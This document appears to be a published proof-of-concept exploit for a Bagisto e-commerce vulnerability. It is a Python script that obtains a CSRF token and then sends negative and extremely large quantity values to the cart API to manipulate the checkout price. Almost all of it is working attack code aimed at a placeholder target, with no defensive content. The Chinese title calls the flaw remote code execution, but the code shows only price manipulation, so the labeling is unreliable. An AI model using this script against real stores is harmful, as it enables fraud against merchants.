CVE-2025-56426 Bagisto CMS购物车价格操纵远程代码执行漏洞

# CVE-2025-56426 - Bagisto Cart Price Manipulation PoC # Tested on: Bagisto v2.3.6 # Author: Security Researcher # Description: Exploits improper quantity validation in Cart/Checkout API import requests import json # Target configuration TARGET_URL = "https://target-bagisto-site.com" PRODUCT_ID = 1 # Target product ID # Step 1: Get CSRF token and session cookies session = requests.Session() homepage = session.get(TARGET_URL) # Extract CSRF token from cookies or meta tags csrf_token = session.cookies.get('XSRF-TOKEN', '') # Step 2: Exploit the Cart API with malicious quantity parameter # The vulnerability allows manipulating price through abnormal quantity values exploit_payload = { "product_id": PRODUCT_ID, "quantity": -1, # Negative quantity to manipulate price calculation "is_buy_now": 1 } headers = { "Content-Type": "application/json", "X-CSRF-TOKEN": csrf_token, "X-Requested-With": "XMLHttpRequest", "Accept": "application/json" } # Step 3: Send the malicious request to the cart/add-to-cart endpoint cart_endpoint = f"{TARGET_URL}/api/v1/cart/add" response = session.post( cart_endpoint, data=json.dumps(exploit_payload), headers=headers ) # Step 4: Check the response if response.status_code == 200: cart_data = response.json() print(f"[+] Exploit successful!") print(f"[+] Cart total manipulated: {cart_data.get('grand_total', 'N/A')}") print(f"[+] Original price: {cart_data.get('original_price', 'N/A')}") else: print(f"[-] Exploit failed. Status: {response.status_code}") print(f"[-] Response: {response.text}") # Alternative exploitation: Large quantity value for price overflow # Some versions may also be vulnerable to integer overflow exploit_payload_overflow = { "product_id": PRODUCT_ID, "quantity": 999999999, # Large value to trigger calculation overflow "is_buy_now": 1 } response2 = session.post( cart_endpoint, data=json.dumps(exploit_payload_overflow), headers=headers ) print(f"\n[+] Overflow test response: {response2.status_code}")